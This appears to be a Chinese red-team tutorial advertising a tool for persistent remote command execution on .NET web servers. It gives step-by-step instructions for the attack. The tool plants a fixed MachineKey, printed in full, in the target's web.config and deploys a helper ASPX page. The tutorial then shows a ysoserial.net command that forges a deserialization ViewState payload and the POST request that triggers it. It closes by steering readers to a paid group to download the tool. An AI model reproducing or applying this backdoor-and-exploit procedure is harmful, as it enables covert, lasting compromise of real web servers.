在红队渗透测试中,权限维持是极其关键的一环。在目标主机初次被攻陷后,如何长期稳定地保持对其访问权限,往往决定了整个行动的成败。特别是在面对以 .NET 技术构建的 Web 系统时,如何在不暴露明显痕迹的情况下实现远程命令执行,一直是红队技术研究的重点。
01. 工具基本介绍
Sharp4ViewStateShellPlus.exe 正是为此目标量身打造的一款利器。它是工具 Sharp4ViewStateShell.exe 的增强版本,核心依然是通过配置自定义 MachineKey + 利用 .NET ViewState 反序列化机制实现远程命令执行,但在功能和易用性上做了关键性升级,进一步提升了红队在实际渗透场景下的适应能力和攻击效率。
02. 工具实战用法
.NET 的 ViewState 功能本质是为了解决 Web 应用的无状态问题,保存控件状态信息。但如果目标应用开启了 EnableViewStateMac="true"
并使用弱或可控的 MachineKey,攻击者就可以伪造 ViewState,借助 ysoserial.net 工具构造反序列化链,从而实现命令执行RCE。
2.1 一键修改配置文件
一键运行 Sharp4ViewStateShellPlus.exe
修改目标站点的 web.config,直接运行 Sharp4ViewStateShellPlus
,无需任何参数。运行以下命令,无需参数:.exe
Sharp4ViewStateShellPlus.exe
执行后,工具会自动定位并修改当前目录下的 web.config
文件,为目标站点插入如下 MachineKey:
<machineKey validationKey="28E969418EFBAF7DAF4A05B12A9F588774129BA306ED094A0C9CA70A45F6C4A83512EB9CF050D7261ADA8E57728B830E540BC26394CEF1F43AEC642AD61D894F"
decryptionKey="F6F6CB3C4FE662991CEF709C5A2ACDDD228FDF21CD708186736FE4B3E008B3A6"
validation="SHA1"
decryption="AES"/>
此配置将确保后续的伪造 ViewState 能通过服务器验证。
2.2 内置脚本获取参数值
Sharp4ViewStateShellPlus.exe
新版本工具会自动生成并部署一个辅助页面 GenerateViewState.aspx
。该页面的唯一目的就是输出一个稳定、可用的 __VIEWSTATEGENERATOR
值。此页面极大简化了信息收集流程,解决了如下问题:原页面 aspx 被统一重定向;__VIEWSTATEGENERATOR 参数在某些页面中缺失;页面复杂度高,难以提取值。
比如访问:http://target-site/GenerateViewState.aspx,打开浏览器开发者工具,或使用 Burp 抓包查看响应内容,通常可获取:
<input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR"value="DBC4925F"/>
2.3 生成恶意攻击载荷
随后,使用
ysoserial.net
构造反序列化命令,生成后会输出一串 Base64 编码字符串,对应 ViewState 值。具体用法如下所示。
ysoserial.exe -p ViewState -g XamlAssemblyLoadFromFile -c "./ExploitClass.cs;./dlls/System.dll;./dlls/System.Web.dll" \
--validationalg="SHA1" \
--validationkey="28E969418EFBAF7DAF4A05B12A9F588774129BA306ED094A0C9CA70A45F6C4A83512EB9CF050D7261ADA8E57728B830E540BC26394CEF1F43AEC642AD61D894F" \
--decryptionalg="AES" \
--decryptionkey="F6F6CB3C4FE662991CEF709C5A2ACDDD228FDF21CD708186736FE4B3E008B3A6" \
--generator="DBC4925F"
2.4 构造POST请求
最后,构造如下 POST 请求,并将上一步生成的 ViewState 值粘贴到 __VIEWSTATE
参数中:
POST /GenerateViewState.aspx HTTP/1.1
Host:localhost
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0(Windows NT 10.0; Win64; x64) Chrome/137.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length:9337
form1_r=0.7834879954225045&form1_t=1734416003580&form1_d=1734416071170&form1_e=2&__VIEWSTATE=【此处粘贴生成的ViewState】
如一切配置正确,将在页面响应中看到命令结果,比如 tasklist
。
综上,Sharp4ViewStateShellPlus
.exe
释放了一个
利用了 .NET 的 ViewState 反序列化机制配合自定义 MachineKey,实现持久化远程命令执行,非常适合在红队渗透中用于权限维持。GenerateViewState脚本,更加容易获取
__VIEWSTATEGENERATOR 参数值,再加上
文/章/涉/及/的/工/具/已/打/包,请//加//入//后/下//载:https://wx.zsxq.com/group/51121224455454